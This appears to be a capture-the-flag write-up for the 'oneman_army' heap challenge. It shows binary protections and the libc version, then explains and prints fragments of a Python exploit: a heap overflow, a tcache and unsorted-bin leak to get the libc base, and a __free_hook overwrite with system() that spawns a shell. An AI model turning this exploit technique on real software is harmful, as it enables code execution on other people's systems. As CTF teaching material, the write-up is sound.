$ file oneman_army oneman_army: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8de0b8e14f617090c8f545fa079a000791aef5a5, for GNU/Linux 3.2.0, stripped $ checksec oneman_army [*] '/root/\xa9\xa2+\xa6/oneman_army' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $ chmod +x libc-2.27.so $ ./libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
It neglects the size limit, so we can use it to perform heap overflow.
First we need to leak something. Since we are able to overflow and tcache has no chunk size check like fastbin, we can easily do unsorted bin attack and use show() to leak main arena + 0x88, then we will calculate malloc hook addr and get libc addr.
Then we can write system() or one gadget of libc to free hook addr, and trigger shellcode by subfunction 3.free.
Actually the exploit varies from person to person, and the arrangement of memory is a bit difficult, so please check the exploit script for details.
# malloc continuous spaces and put them into tcache list sum = 0 for i inrange(13): # enough memory space is needed, or the fake large chunk won't be put in unsorted bin # the fake chunk cannot overlap unallocated memory sum += 0x10 * (i+1) free_func()
# alloc chunk 0 and overflow using 'func_9011' alloc(0x10,'0') payload1 = 0x10*'1' + p64(0) + p64(0x581) # the size should be larger than tcache, 24->1032 bytes on 64-bit and 12->516 bytes on 32-bit # and must cover other complete chunks (for example: 0x4b1, 0x660) # if incompletly overlap other chunk will cause double free check func_9011(payload1)
# alloc __free_hook out alloc(0x40,'3') # alloc(0x40,p64(one_gadget_addr)) # not working alloc(0x40,p64(system_addr)) # write system addr to free hook alloc(0x50,'/bin/sh\x00') free_func()